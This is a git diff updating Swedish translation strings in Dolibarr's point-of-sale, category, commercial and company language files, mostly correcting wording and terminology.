Floor=Golv -AddTable=Lägg till tabell +AddTable=Lägg till bord Place=Plats TakeposConnectorNecesary='TakePOS Connector' krävs OrderPrinters=Lägg till en knapp för att skicka beställningen till vissa skrivare utan betalning (till exempel för att skicka en beställning till ett kök) -NotAvailableWithBrowserPrinter=Not available when printer for receipt is set to browser +NotAvailableWithBrowserPrinter=Inte tillgängligt när skrivare för kvitto är inställd på webbläsare SearchProduct=Sök produkt Receipt=Kvitto Header=Rubrik -Footer=sidfot +Footer=Sidfot AmountAtEndOfPeriod=Belopp vid periodens utgång (dag, månad eller år) TheoricalAmount=Teoretisk mängd RealAmount=Verklig mängd -CashFence=Cash box closing -CashFenceDone=Cash box closing done for the period -NbOfInvoices=Antal av fakturor +CashFence=Kassa stängs +CashFenceDone=Kassastängning gjord för perioden +NbOfInvoices=Antal fakturor Paymentnumpad=Typ av kudde för att komma in i betalningen -Numberspad=Numbers Pad -BillsCoinsPad=Mynt och sedlar Pad -DolistorePosCategory=TakePOS-moduler och andra POS-lösningar för Dolibarr +Numberspad=Sifferblock +BillsCoinsPad=Mynt och sedelblock +DolistorePosCategory=TakePOS-moduler och andra kassalösningar för Dolibarr TakeposNeedsCategories=TakePOS behöver minst en produktkategori för att fungera -TakeposNeedsAtLeastOnSubCategoryIntoParentCategory=TakePOS behöver minst 1 produktkategori under kategorin %s för att arbeta -OrderNotes=Kan lägga till några anteckningar till varje beställd artikel +TakeposNeedsAtLeastOnSubCategoryIntoParentCategory=TakePOS behöver minst 1 produktkategori under kategorin %s för att fungera +OrderNotes=Kan lägga till anteckningar till varje beställd artikel CashDeskBankAccountFor=Standardkonto som ska användas för betalningar i -NoPaimementModesDefined=Inget paimentläge definierat i TakePOS-konfiguration -TicketVatGrouped=Gruppmoms efter skattesats i biljetter | kvitton -AutoPrintTickets=Skriv automatiskt ut biljetter | kvitton -PrintCustomerOnReceipts=Skriv ut kund på biljetter | kvitton +NoPaimementModesDefined=Inget paimentläge angivet i TakePOS-konfiguration +TicketVatGrouped=Gruppera moms efter momssats i biljettkvitton +AutoPrintTickets=Skriv automatiskt ut biljett|kvitton +PrintCustomerOnReceipts=Skriv ut kundinfo på biljetter/kvitton EnableBarOrRestaurantFeatures=Aktivera funktioner för bar eller restaurang -ConfirmDeletionOfThisPOSSale=Bekräftar du att du har raderat den aktuella försäljningen? -ConfirmDiscardOfThisPOSSale=Vill du kasta den här aktuella försäljningen? -History=Historia -ValidateAndClose=Validera och stäng +ConfirmDeletionOfThisPOSSale=Bekräftar du vill radera den aktuella försäljningen? +ConfirmDiscardOfThisPOSSale=Vill du radera den aktuella försäljningen? +History=Historik +ValidateAndClose=Bekräfta och stäng Terminal=Terminal NumberOfTerminals=Antal terminaler TerminalSelect=Välj terminal du vill använda: -POSTicket=POS-biljett -POSTerminal=POS-terminal +POSTicket=Kassa biljetter +POSTerminal=Kassaterminal POSModule=POS-modul BasicPhoneLayout=Använd grundläggande layout för telefoner -SetupOfTerminalNotComplete=Installationen av terminal %s är inte klar +SetupOfTerminalNotComplete=Inställning för terminal %s är inte klar DirectPayment=Direktbetalning -DirectPaymentButton=Lägg till knappen "Direkt kontant betalning" -InvoiceIsAlreadyValidated=Fakturan är redan validerad +DirectPaymentButton=Lägg till knappen "Direkt betalning" +InvoiceIsAlreadyValidated=Fakturan är redan bekräftad NoLinesToBill=Inga rader att fakturera CustomReceipt=Anpassat kvitto -ReceiptName=Kvittans namn -ProductSupplements=Hantera kosttillskott av produkter -SupplementCategory=Tilläggskategori +ReceiptName=Kvittonamn +ProductSupplements=Hantera tillägg till produkter +SupplementCategory=Kategori för tillägg ColorTheme=Färgtema Colorful=Färgrik -HeadBar=Head Bar +HeadBar=Sidhuvudsfält SortProductField=Fält för sortering av produkter Browser=Webbläsare -BrowserMethodDescription=Enkel och enkel kvittoutskrift. Bara några få parametrar för att konfigurera kvittot. Skriv ut via webbläsaren. +BrowserMethodDescription=Enkel och lätt kvittoutskrift. Bara några få parametrar för att konfigurera kvittot. Skriv ut via webbläsaren. TakeposConnectorMethodDescription=Extern modul med extra funktioner. Möjlighet att skriva ut från molnet. PrintMethod=Utskriftsmetod ReceiptPrinterMethodDescription=Kraftfull metod med många parametrar. Fullt anpassningsbara med mallar. Servern som är värd för applikationen kan inte finnas i molnet (måste kunna nå skrivarna i ditt nätverk). ByTerminal=Med terminal TakeposNumpadUsePaymentIcon=Använd ikonen istället för text på betalningsknapparna på numpad -CashDeskRefNumberingModules=Numreringsmodul för POS-försäljning -CashDeskGenericMaskCodes6 =
      {TN} -tagg används för att lägga till terminalnumret -TakeposGroupSameProduct=Gruppera samma produktlinjer +CashDeskRefNumberingModules=Numreringsmodul för kassaförsäljning +CashDeskGenericMaskCodes6 =
      {TN}-tagg används för att lägga till terminalnumret +TakeposGroupSameProduct=Gruppera lika produktrader StartAParallelSale=Starta en ny parallellförsäljning -SaleStartedAt=Försäljningen startade på %s -ControlCashOpening=Open the "Control cash box" popup when opening the POS -CloseCashFence=Close cash box control +SaleStartedAt=Försäljningen startade %s +ControlCashOpening=Öppna popupen "Kontrollera kassa" när du öppnar kassan +CloseCashFence=Stäng kassakontroll CashReport=Kassarapport MainPrinterToUse=Huvudskrivare att använda -OrderPrinterToUse=Beställ skrivaren att använda -MainTemplateToUse=Huvudmallen som ska användas -OrderTemplateToUse=Beställ mall som ska användas -BarRestaurant=Barrestaurang -AutoOrder=Beställ av kunden själv +OrderPrinterToUse=Orderskrivare att använda +MainTemplateToUse=Huvudmall som ska användas +OrderTemplateToUse=Ordermall som ska användas +BarRestaurant=Bar/restaurang +AutoOrder=Beställning från kunden själv RestaurantMenu=Meny CustomerMenu=Kundmeny ScanToMenu=Skanna QR-kod för att se menyn @@ -119,20 +119,29 @@ Appearance=Utseende HideCategoryImages=Dölj kategoribilder HideProductImages=Dölj produktbilder NumberOfLinesToShow=Antal bilder som ska visas -DefineTablePlan=Definiera tabellplan -GiftReceiptButton=Lägg till knappen "Presentkvitto" -GiftReceipt=Presentkvitto -ModuleReceiptPrinterMustBeEnabled=Modulkvittenskrivaren måste ha aktiverats först -AllowDelayedPayment=Tillåt försenad betalning -PrintPaymentMethodOnReceipts=Skriv ut betalningsmetod på biljetter | kvitton +DefineTablePlan=Ange bordsplacering +GiftReceiptButton=Lägg till knappen "present" +GiftReceipt=Present +ModuleReceiptPrinterMustBeEnabled=Modulen kvittokrivare måste ha aktiverats först +AllowDelayedPayment=Tillåt fördröjd betalning +PrintPaymentMethodOnReceipts=Skriv ut betalsätt för biljetter på kvitton WeighingScale=Våg ShowPriceHT = Visa kolumnen med priset exklusive moms (på skärmen) ShowPriceHTOnReceipt = Visa kolumnen med priset exklusive moms (på kvittot) -CustomerDisplay=Customer display -SplitSale=Split sale -PrintWithoutDetailsButton=Add "Print without details" button -PrintWithoutDetailsLabelDefault=Line label by default on printing without details -PrintWithoutDetails=Print without details -YearNotDefined=Year is not defined -TakeposBarcodeRuleToInsertProduct=Barcode rule to insert product -TakeposBarcodeRuleToInsertProductDesc=Rule to extract the product reference + a quantity from a scanned barcode.
      If empty (default value), application will use the full barcode scanned to find the product.

      If defined, syntax must be:
      ref:NB+qu:NB+qd:NB+other:NB
      where NB is the number of characters to use to extract data from the scanned barcode with:
      • ref : product reference
      • qu : quantity to set when inserting item (units)
      • qd : quantity to set when inserting item (decimals)
      • other : others characters
      +CustomerDisplay=Kunddisplay +SplitSale=Dela försäljning +PrintWithoutDetailsButton=Lägg till knappen "Skriv ut utan detaljer". +PrintWithoutDetailsLabelDefault=Rad som standard vid utskrift utan detaljer +PrintWithoutDetails=Skriv ut utan detaljer +YearNotDefined=År är inte angivet +TakeposBarcodeRuleToInsertProduct=Streckkodsregel för att infoga produkt +TakeposBarcodeRuleToInsertProductDesc=Regel för att extrahera produktreferensen + en kvantitet från en skannad streckkod.
      Om tom (standardvärde), kommer programmet att använda hela streckkoden som skannas för att hitta produkten.

      If defined, syntax must be:
      ref:NB+qu:NB+qd:NB+other:NB
      where NB is the number of characters to use to extract data from the scanned barcode with:
      • ref : product reference
      • qu : quantity to set when inserting item (units)
      • qd : quantity to set when inserting item (decimals)
      • other : others characters
      +AlreadyPrinted=Redan utskriven +HideCategories=Dölj kategorier +HideStockOnLine=Dölj lager på raden +ShowOnlyProductInStock=Visa produkter i lager +ShowCategoryDescription=Visa kategoribeskrivning +ShowProductReference=Visa referens för produkter +UsePriceHT=Använd pris exkl. moms och inte pris inkl. moms +TerminalName=Terminal %s +TerminalNameDesc=Terminalnamn diff --git a/htdocs/langs/sv_SE/categories.lang b/htdocs/langs/sv_SE/categories.lang index 48eda9417bd..d5b8923f05c 100644 --- a/htdocs/langs/sv_SE/categories.lang +++ b/htdocs/langs/sv_SE/categories.lang @@ -1,100 +1,105 @@ # Dolibarr language file - Source file is en_US - categories -Rubrique=Tag / Kategori -Rubriques=Taggar/Kategorier -RubriquesTransactions=Taggar / Kategorier av transaktioner -categories=taggar / kategorier +Rubrique=Tagg/kategori +Rubriques=Taggar/kategorier +RubriquesTransactions=Taggar/kategorier av transaktioner +categories=taggar/kategorier NoCategoryYet=Ingen tagg/katergori för denna typen har skapats In=I AddIn=Lägg till i -modify=modifiera +modify=ändra Classify=Märk -CategoriesArea=Taggar / kategorier område -ProductsCategoriesArea=Produkt/Servicetagg/Kategoriområde -SuppliersCategoriesArea=Tillverkarens tagg/kategori -CustomersCategoriesArea=Kundens tagg/kategori -MembersCategoriesArea=Medlemmarnas taggar / kategorier -ContactsCategoriesArea=Kontaktens tagg/kategori -AccountsCategoriesArea=Bankkontots tagg/kategori -ProjectsCategoriesArea=Projektets tagg/kategori -UsersCategoriesArea=Anvädnarens tagg/kategori +CategoriesArea=Taggar/kategorier +ProductsCategoriesArea=Produkt/tjänst/kategorier +SuppliersCategoriesArea=Leverantörer tagg/kategori +CustomersCategoriesArea=Kund tagg/kategori +MembersCategoriesArea=Medlems taggar/kategorie +ContactsCategoriesArea=Kontakter tagg/kategori +AccountsCategoriesArea=Bankkonto tagg/kategori +ProjectsCategoriesArea=Projekt tagg/kategori +UsersCategoriesArea=Användare tagg/kategori SubCats=Underkategorier -CatList=Lista med taggar / kategorier +CatList=Lista taggar/kategorier CatListAll=Visa alla taggar/kategorier -NewCategory=Ny tagg / kategori -ModifCat=Ändra tagg / kategori -CatCreated=Tagg / kategori skapad -CreateCat=Skapa tag / kategori -CreateThisCat=Skapa den här taggen / kategorin +NewCategory=Ny tagg/kategori +ModifCat=Ändra tagg/kategori +CatCreated=Tagg/kategori skapad +CreateCat=Skapa tag/kategori +CreateThisCat=Skapa den här taggen/kategorin NoSubCat=Inga underkategori. SubCatOf=Underkategori -FoundCats=Hittade taggar / kategorier -ImpossibleAddCat=Omöjligt att lägga till taggen / kategorin %s +FoundCats=Hittade taggar/kategorier +ImpossibleAddCat=Omöjligt att lägga till taggen/kategorin %s WasAddedSuccessfully=%s har lagts till. -ObjectAlreadyLinkedToCategory=Element är redan länkat till den här taggen / kategorin. -ProductIsInCategories=Produkt / tjänst är kopplad till följande taggar / kategorier -CompanyIsInCustomersCategories=Denna tredje part är kopplad till följande kunder / utsikter taggar / kategorier -CompanyIsInSuppliersCategories=Den här tredje parten är kopplad till följande säljare / kategorier -MemberIsInCategories=Den här medlemmen är kopplad till följande medlemmar taggar / kategorier -ContactIsInCategories=Den här kontakten är kopplad till följande kontakter / kategorier -ProductHasNoCategory=Denna produkt / tjänst finns inte i några taggar / kategorier -CompanyHasNoCategory=Denna tredje part finns inte i några taggar / kategorier -MemberHasNoCategory=Den här medlemmen finns inte i några taggar / kategorier -ContactHasNoCategory=Den här kontakten finns inte i några taggar / kategorier -ProjectHasNoCategory=Detta projekt finns inte i några taggar / kategorier -ClassifyInCategory=Lägg till i tagg / kategori -NotCategorized=Utan tagg / kategori +ObjectAlreadyLinkedToCategory=Element är redan länkat till den här taggen/kategorin. +ProductIsInCategories=Produkt/tjänst är kopplad till följande taggar/kategorier +CompanyIsInCustomersCategories=Denna tredjepart är kopplad till följande kunder/prospekt-tagg/kategori +CompanyIsInSuppliersCategories=Den här tredjeparten är kopplad till följande leverantör/kategori +MemberIsInCategories=Den här medlemmen är kopplad till följande medlems-tagg/kategori +ContactIsInCategories=Den här kontakten är kopplad till följande kontakter/kategorier +ProductHasNoCategory=Denna produkt/tjänst har inte i några taggar/kategorier +CompanyHasNoCategory=Denna tredjepart har inte i några taggar/kategorier +MemberHasNoCategory=Den här medlemmen har inte i några taggar/kategorier +ContactHasNoCategory=Den här kontakten har inte i några taggar/kategorier +ProjectHasNoCategory=Detta projekt har inte i några taggar/kategorier +ClassifyInCategory=Lägg till i tagg/kategori +RemoveCategory=Ta bort kategori +NotCategorized=Utan tagg/kategori CategoryExistsAtSameLevel=Denna kategori finns redan med denna ref -ContentsVisibleByAllShort=Innehållsförteckning synlig för alla -ContentsNotVisibleByAllShort=Innehåll inte synlig för alla -DeleteCategory=Ta bort tagg / kategori -ConfirmDeleteCategory=Är du säker på att du vill radera den här taggen / kategorin? -NoCategoriesDefined=Ingen tagg / kategori definierad -SuppliersCategoryShort=Leverantörslabel / kategori -CustomersCategoryShort=Kunder tagg / kategori -ProductsCategoryShort=Produkter tagg / kategori -MembersCategoryShort=Medlemmar tagg / kategori -SuppliersCategoriesShort=Leverantörer tags / kategorier -CustomersCategoriesShort=Kunder taggar / kategorier -ProspectsCategoriesShort=Utsikter taggar / kategorier -CustomersProspectsCategoriesShort=Cust./Prosp. taggar / kategorier -ProductsCategoriesShort=Produkter taggar / kategorier -MembersCategoriesShort=Medlemmar taggar / kategorier -ContactCategoriesShort=Kontakter taggar / kategorier -AccountsCategoriesShort=Kontokoder / kategorier -ProjectsCategoriesShort=Projekt taggar / kategorier -UsersCategoriesShort=Användare taggar / kategorier -StockCategoriesShort=Lagrets taggar/kategorier -ThisCategoryHasNoItems=Denna kategori innehåller inga produkter. -CategId=Tagg / kategori id +ContentsVisibleByAllShort=Innehåll synligt för alla +ContentsNotVisibleByAllShort=Innehåll inte synligt för alla +DeleteCategory=Ta bort tagg/kategori +ConfirmDeleteCategory=Är du säker på att du vill radera den här taggen/kategorin? +NoCategoriesDefined=Ingen tagg/kategori angiven +SuppliersCategoryShort=Leverantör tagg/kategori +CustomersCategoryShort=Kund tagg/kategori +ProductsCategoryShort=Produkt tagg/kategori +MembersCategoryShort=Medlem tagg/kategori +SuppliersCategoriesShort=Leverantör taggar/kategorier +CustomersCategoriesShort=Kund taggar/kategorier +ProspectsCategoriesShort=Prospekt taggar/kategorier +CustomersProspectsCategoriesShort=Prospekt/kund taggar/kategorier +ProductsCategoriesShort=Produkt taggar/kategorier +MembersCategoriesShort=Medlem taggar/kategorier +ContactCategoriesShort=Kontakter taggar/kategorier +AccountsCategoriesShort=Konton taggar/kategorier +ProjectsCategoriesShort=Projekt taggar/kategorier +UsersCategoriesShort=Användare taggar/kategorier +StockCategoriesShort=Lager taggar/kategorier +ThisCategoryHasNoItems=Denna kategori innehåller inga objekt. +CategId=Tagg/kategori id ParentCategory=Överordnad tagg/kategori +ParentCategoryID=ID för överordnad tagg/kategori ParentCategoryLabel=Benämning av överordnad tagg/kategori -CatSupList=Lista tillverkarens taggar/kategorier -CatCusList=Lista (eventuella) kunders taggar/kategorier -CatProdList=Lista över produkter taggar / kategorier -CatMemberList=Lista över medlemmar taggar / kategorier +CatSupList=Lista leverantör taggar/kategorier +CatCusList=Lista prospekts/kunders taggar/kategorier +CatProdList=Lista över produkters taggar/kategorier +CatMemberList=Lista över medlem taggar/kategorier CatContactList=Lista kontakters taggar/kategorier -CatProjectsList=Lista projektens taggar/kategorier +CatProjectsList=Lista projekts taggar/kategorier CatUsersList=Lista användarnas taggar/kategorier CatSupLinks=Länkar mellan leverantörer och taggar/kategorier -CatCusLinks=Länkar mellan kunder / utsikter och taggar / kategorier +CatCusLinks=Länkar mellan kunder/prospekt och taggar/kategorier CatContactsLinks=Länkar mellan kontakter/adresser och taggar/kategorier -CatProdLinks=Länkar mellan produkter / tjänster och taggar / kategorier -CatMembersLinks=Länkar mellan medlemmar och taggar / kategorier +CatProdLinks=Länkar mellan produkter/tjänster och taggar/kategorier +CatMembersLinks=Länkar mellan medlemmar och taggar/kategorier CatProjectsLinks=Länkar mellan projekt och taggar/kategorier CatUsersLinks=Länkar mellan användare och taggar/kategorier -DeleteFromCat=Ta bort från taggar / kategori +DeleteFromCat=Ta bort från tagg/kategori ExtraFieldsCategories=Extra attibut -CategoriesSetup=Taggar / kategorier inställning -CategorieRecursiv=Länk med moderkort / kategori automatiskt -CategorieRecursivHelp=Om alternativet är på, när du lägger till en produkt i en underkategori kommer produkten också att läggas till i kategorin förälder. -AddProductServiceIntoCategory=Lägg till följande produkt / tjänst +CategoriesSetup=Inställningar taggar/kategorier +CategorieRecursiv=Länka med överordnad tagg/kategori automatiskt +CategorieRecursivHelp=Om alternativet är aktiverat kommer objektet också att läggas till i de överordnade kategorierna när du lägger till ett objekt i en underkategori. +AddProductServiceIntoCategory=Lägg till följande produkt/tjänst AddCustomerIntoCategory=Tilldela kategori till kund AddSupplierIntoCategory=Tilldela kategori till leverantör -ShowCategory=Visa tagg / kategori +AssignCategoryTo=Tilldela kategori till +ShowCategory=Visa tagg/kategori ByDefaultInList=Som standard i listan ChooseCategory=Välj kategori -StocksCategoriesArea=Lagrets kategorier +StocksCategoriesArea=Lagerkategorier +TicketsCategoriesArea=Ärendekategorier ActionCommCategoriesArea=Händelsekategori WebsitePagesCategoriesArea=Innehållskategorier -KnowledgemanagementsCategoriesArea=KM article Categories -UseOrOperatorForCategories=Använd operatören 'OR' för kategorier +KnowledgemanagementsCategoriesArea=KM artikel kategorier +UseOrOperatorForCategories=Använd operatören 'ELLER' för kategorier +AddObjectIntoCategory=Lägg till objekt i kategori diff --git a/htdocs/langs/sv_SE/commercial.lang b/htdocs/langs/sv_SE/commercial.lang index 76c9444f753..2613687ec85 100644 --- a/htdocs/langs/sv_SE/commercial.lang +++ b/htdocs/langs/sv_SE/commercial.lang @@ -1,81 +1,89 @@ # Dolibarr language file - Source file is en_US - commercial Commercial=Handel -CommercialArea=Handelsområde -Customer=Kunden +CommercialArea=Handel +Customer=Kund Customers=Kunder -Prospect=Prospect -Prospects=Framtidsutsikter -DeleteAction=Ta bort en händelse -NewAction=Nytt händelse -AddAction=Skapa event -AddAnAction=Skapa en händelse -AddActionRendezVous=Skapa en Rendez-vous händelse -ConfirmDeleteAction=Är du säker på att du vill radera den här händelsen? -CardAction=Action-kort +Prospect=Prospekt +Prospects=Prospekt +DeleteAction=Radera åtgärd +NewAction=Ny åtgärd +AddAction=Skapa åtgärd +AddAnAction=Skapa åtgärd +AddActionRendezVous=Skapa en åtgärd med fysiskt möte +ConfirmDeleteAction=Är du säker på att du vill radera denna åtgärd? +CardAction=Åtgärdskort ActionOnCompany=Relaterat företag ActionOnContact=Relaterad kontakt TaskRDVWith=Möte med %s ShowTask=Visa uppgift -ShowAction=Visa åtgärder -ActionsReport=Åtgärder rapport -ThirdPartiesOfSaleRepresentative=Tredje part med försäljningsrepresentant -SaleRepresentativesOfThirdParty=Försäljningsrepresentanter från tredje part +ShowAction=Visa uppgifter +ActionsReport=Åtgärdsrapport +ThirdPartiesOfSaleRepresentative=Tredjepart med representant +SaleRepresentativesOfThirdParty=Representanter från tredjepart SalesRepresentative=Säljare SalesRepresentatives=Säljare -SalesRepresentativeFollowUp=Försäljare (uppföljning) -SalesRepresentativeSignature=Försäljare (underskrift) -NoSalesRepresentativeAffected=Ingen särskild säljare påverkas +SalesRepresentativeFollowUp=Säljare (uppföljning) +SalesRepresentativeSignature=Säljare (underskrift) +NoSalesRepresentativeAffected=Ingen särskild säljare tilldelad ShowCustomer=Visa kund -ShowProspect=Visa utsikter -ListOfProspects=Lista över framtidsutsikter -ListOfCustomers=Lista över kunder -LastDoneTasks=Senaste %s genomförda åtgärderna -LastActionsToDo=Äldsta %s inte slutförda åtgärder -DoneAndToDoActions=Slutföras och att göra uppgifter +ShowProspect=Visa prospekt +ListOfProspects=Lista prospekt +ListOfCustomers=Lista kunder +LastDoneTasks=Senaste %s slutförda åtgärderna +LastActionsToDo= %s äldsta inte slutförda åtgärder +DoneAndToDoActions=Slutför och uppgifter att göra DoneActions=Genomförda åtgärder -ToDoActions=Ofullständig åtgärder -SendPropalRef=Inlämning av kommersiella förslag %s -SendOrderRef=Inlämning av order %s +ToDoActions=Ofärdiga åtgärder +SendPropalRef=Sändning av offert %s +SendOrderRef=Sändning av order %s StatusNotApplicable=Ej tillämpligt -StatusActionToDo=För att göra -StatusActionDone=Komplett -StatusActionInProcess=I processen +StatusActionToDo=Att göra +StatusActionDone=Slutförd +StatusActionInProcess=Pågående TasksHistoryForThisContact=Aktiviteter för denna kontakt LastProspectDoNotContact=Kontakta inte -LastProspectNeverContacted=Aldrig kontaktat -LastProspectToContact=För att kontakta +LastProspectNeverContacted=Aldrig kontaktad +LastProspectToContact=Att kontakta LastProspectContactInProcess=Kontakta i processen -LastProspectContactDone=Kontakta gjort -ActionAffectedTo=Åtgärd påverkas -ActionDoneBy=Åtgärder som utförs av +LastProspectContactDone=Kontakt genomförd +ActionAffectedTo=Åtgärd tilldelad +ActionDoneBy=Åtgärd utförd av ActionAC_TEL=Telefonsamtal ActionAC_FAX=Skicka fax -ActionAC_PROP=Skicka förslag via e-post +ActionAC_PROP=Skicka offert via e-post ActionAC_EMAIL=Skicka e-post -ActionAC_EMAIL_IN=Mottagning av e-post +ActionAC_EMAIL_IN=Mottagare av e-post ActionAC_RDV=Möten ActionAC_INT=Intervention på plats -ActionAC_FAC=Skicka kundfaktura med post -ActionAC_REL=Skicka kundfaktura via post (påminnelse) +ActionAC_FAC=Skicka fakatura +ActionAC_REL=Skicka påminnelse ActionAC_CLO=Stäng -ActionAC_EMAILING=Skicka mängd-e-post -ActionAC_COM=Skicka försäljningsorder via post -ActionAC_SHIP=Skicka Leverans med e-post -ActionAC_SUP_ORD=Skicka inköpsorder via post -ActionAC_SUP_INV=Skicka försäljningsfaktura via post +ActionAC_EMAILING=Skicka massmail +ActionAC_COM=Skicka ordererkännande via post +ActionAC_SHIP=Skicka sändningsinformation +ActionAC_SUP_ORD=Skicka inköpsorder +ActionAC_SUP_INV=Skicka leverantörsfaktura ActionAC_OTH=Andra ActionAC_OTH_AUTO=Annan automatik -ActionAC_MANUAL=Manuellt införda händelser -ActionAC_AUTO=Automatiskt införda händelser +ActionAC_MANUAL=Manuellt infogade åtgärder +ActionAC_AUTO=Automatiskt infogade åtgärder ActionAC_OTH_AUTOShort=Andra -ActionAC_EVENTORGANIZATION=Event organisation evenemang +ActionAC_EVENTORGANIZATION=Evenemangsorganisation Stats=Försäljningsstatistik -StatusProsp=Prospect status -DraftPropals=Utforma kommersiella förslag +StatusProsp=Prospektstatus +DraftPropals=Utforma offert NoLimit=Ingen gräns -ToOfferALinkForOnlineSignature=Länk för online signatur -WelcomeOnOnlineSignaturePage=Välkommen till sidan för att acceptera kommersiella förslag från %s -ThisScreenAllowsYouToSignDocFrom=Den här skärmen låter dig acceptera och underteckna eller vägra, ett citat / kommersiellt förslag -ThisIsInformationOnDocumentToSign=Detta är information på dokument för att acceptera eller vägra -SignatureProposalRef=Underskrift av offert / kommersiellt förslag %s -FeatureOnlineSignDisabled=Funktion för online-signering avaktiverad eller dokumentgenerering innan funktionen aktiverades +ToOfferALinkForOnlineSignature=Länk för onlinesignatur +WelcomeOnOnlineSignaturePageProposal=Välkommen till sidan för att acceptera offerter från %s +WelcomeOnOnlineSignaturePageContract=Välkommen till %s sida för att signera kontrakt +WelcomeOnOnlineSignaturePageFichinter=Välkommen till %s signering för interventioner +ThisScreenAllowsYouToSignDocFromProposal=Här kan du acceptera och signera, eller neka, en offert +ThisScreenAllowsYouToSignDocFromContract=Här kan du signera kontrakt i PDF-format online. +ThisScreenAllowsYouToSignDocFromFichinter=Här kan du signera interventioner i PDF-format online. +ThisIsInformationOnDocumentToSignProposal=Detta är information i dokument att acceptera eller neka +ThisIsInformationOnDocumentToSignContract=Detta är informationen om kontrakt som ska undertecknas +ThisIsInformationOnDocumentToSignFichinter=Detta är information om intervention att skriva under +SignatureProposalRef=Underskrift av offert %s +SignatureContractRef=Underskrift av kontrakt %s +SignatureFichinterRef=Underskrift av intervention %s +FeatureOnlineSignDisabled=Funktion för onlinesignering inaktiverad eller så blev dokumentet genererat innan funktionen aktiverades diff --git a/htdocs/langs/sv_SE/companies.lang b/htdocs/langs/sv_SE/companies.lang index de1f09da5c4..49cdcc48cc7 100644 --- a/htdocs/langs/sv_SE/companies.lang +++ b/htdocs/langs/sv_SE/companies.lang @@ -1,27 +1,27 @@ # Dolibarr language file - Source file is en_US - companies ErrorCompanyNameAlreadyExists=Företagets namn %s finns redan. Välj en annan en. ErrorSetACountryFirst=Välj land först -SelectThirdParty=Välj en tredje part +SelectThirdParty=Välj tredjepart ConfirmDeleteCompany=Är du säker på att du vill ta bort företaget och all relaterad information? DeleteContact=Radera en kontakt ConfirmDeleteContact=Är du säker på att du vill ta bort den här kontakten och all relaterad information? MenuNewThirdParty=Ny tredjepart MenuNewCustomer=Ny kund -MenuNewProspect=Nytt perspektiv -MenuNewSupplier=Ny Leverantör -MenuNewPrivateIndividual=Nya privatperson +MenuNewProspect=Nytt prospekt +MenuNewSupplier=Ny leverantör +MenuNewPrivateIndividual=Ny privatperson NewCompany=Nytt företag (prospekt, kund, leverantör) NewThirdParty=Ny tredjepart (prospekt, kund, leverantör) CreateDolibarrThirdPartySupplier=Skapa en tredjepart (leverantör) -CreateThirdPartyOnly=Skapa tredje part -CreateThirdPartyAndContact=Skapa en tredjepart + en barnkontakt -ProspectionArea=Prospektering område -IdThirdParty=Id tredje part -IdCompany=Företag Id -IdContact=Kontact ID -ThirdPartyAddress=Third-party address -ThirdPartyContacts=Tredjeparts kontakter -ThirdPartyContact=Tredjeparts kontakt / adress +CreateThirdPartyOnly=Skapa tredjepart +CreateThirdPartyAndContact=Skapa en tredjepart + en underordnad kontakt +ProspectionArea=Prospektering +IdThirdParty=ID tredjepart +IdCompany=Företags-ID +IdContact=Kontakt-ID +ThirdPartyAddress=Adress till tredjepart +ThirdPartyContacts=Kontakter hos tredjepart +ThirdPartyContact=Kontakt/adress hos tredjepart Company=Företag CompanyName=Företagets namn AliasNames=Alias namn (kommersiellt, varumärke, ...) @@ -30,53 +30,53 @@ Companies=Företag CountryIsInEEC=Landet ligger inom Europeiska ekonomiska gemenskapen PriceFormatInCurrentLanguage=Prisvisningsformat på aktuellt språk och valuta ThirdPartyName=Namn på tredjepart -ThirdPartyEmail=Tredjeparts e-post +ThirdPartyEmail=E-post till tredjepart ThirdParty=Tredjepart ThirdParties=Utomstående -ThirdPartyProspects=Möjliga kunder -ThirdPartyProspectsStats=Möjliga kunder +ThirdPartyProspects=Prospekt +ThirdPartyProspectsStats=Prospekt ThirdPartyCustomers=Kunder ThirdPartyCustomersStats=Kunder ThirdPartyCustomersWithIdProf12=Kunder med %s eller %s ThirdPartySuppliers=Säljare -ThirdPartyType=Tredjeparts typ +ThirdPartyType=Tredjepartstyp Individual=Privatperson -ToCreateContactWithSameName=Skapar automatiskt en kontakt / adress med samma information som tredjepart under tredjepart. I de flesta fall, även om din tredjepart är en fysisk person, är det bara att skapa en tredjepart. +ToCreateContactWithSameName=Skapar automatiskt en kontakt/adress med samma information som tredjepart. I de flesta fall, även om din tredjepart är en fysisk person, är det bara att skapa en tredjepart. ParentCompany=Moderbolaget Subsidiaries=Dotterbolag ReportByMonth=Rapportera per månad ReportByCustomers=Rapportera per kund -ReportByThirdparties=Rapport per tredje part +ReportByThirdparties=Rapport per tredjepart ReportByQuarter=Rapportera per kurs -CivilityCode=Hövlighet kod +CivilityCode=Titulering RegisteredOffice=Säte Lastname=Efternamn Firstname=Förnamn -RefEmployee=Employee reference -NationalRegistrationNumber=National registration number +RefEmployee=Anställds referens +NationalRegistrationNumber=Personnummer PostOrFunction=Befattning UserTitle=Titel NatureOfThirdParty=Tredjepartens art NatureOfContact=Kontaktens art Address=Adress State=Delstat / provins -StateId=State ID -StateCode=Stat / provins kod -StateShort=stat +StateId=Regions-ID +StateCode=Länskod +StateShort=Ö'm Region=Region -Region-State=Region - Stat +Region-State=Region - Län Country=Land CountryCode=Landskod -CountryId=Country ID +CountryId=Lands-ID Phone=Telefon -PhoneShort=Tel +PhoneShort=Telefon Skype=Skype Call=Ring upp -Chat=Chat +Chat=Chatta PhonePro=Företagstelefon PhonePerso=Pers. telefon PhoneMobile=Mobil -No_Email=Avvisa bulk emailings +No_Email=Nekat e-postutskick Fax=Fax Zip=Postnummer Town=Stad @@ -84,29 +84,29 @@ Web=Webb Poste= Position DefaultLang=Standardspråk VATIsUsed=Försäljningsskatt används -VATIsUsedWhenSelling=This defines if this third party includes a sales tax or not when it makes an invoice to its own customers +VATIsUsedWhenSelling=Detta anger om tredjeparten påverkas av moms eller inte när de skapar fakturor till egena kunder VATIsNotUsed=Försäljningsskatt används inte CopyAddressFromSoc=Kopiera adress från uppgifter från tredjepart ThirdpartyNotCustomerNotSupplierSoNoRef=Tredjepart varken kund eller leverantör, inga tillgängliga hänvisningsobjekt ThirdpartyIsNeitherCustomerNorClientSoCannotHaveDiscounts=Tredjepart varken kund eller leverantör, rabatter är inte tillgängliga -PaymentBankAccount=Betalnings bankkonto -OverAllProposals=Förslag -OverAllOrders=Beställningar +PaymentBankAccount=Bankkonto för betalningar +OverAllProposals=Offerter +OverAllOrders=Order OverAllInvoices=Fakturor OverAllSupplierProposals=Prisförfrågningar ##### Local Taxes ##### -LocalTax1IsUsed=Använda andra skatte +LocalTax1IsUsed=Använd sekundär moms LocalTax1IsUsedES= RE används 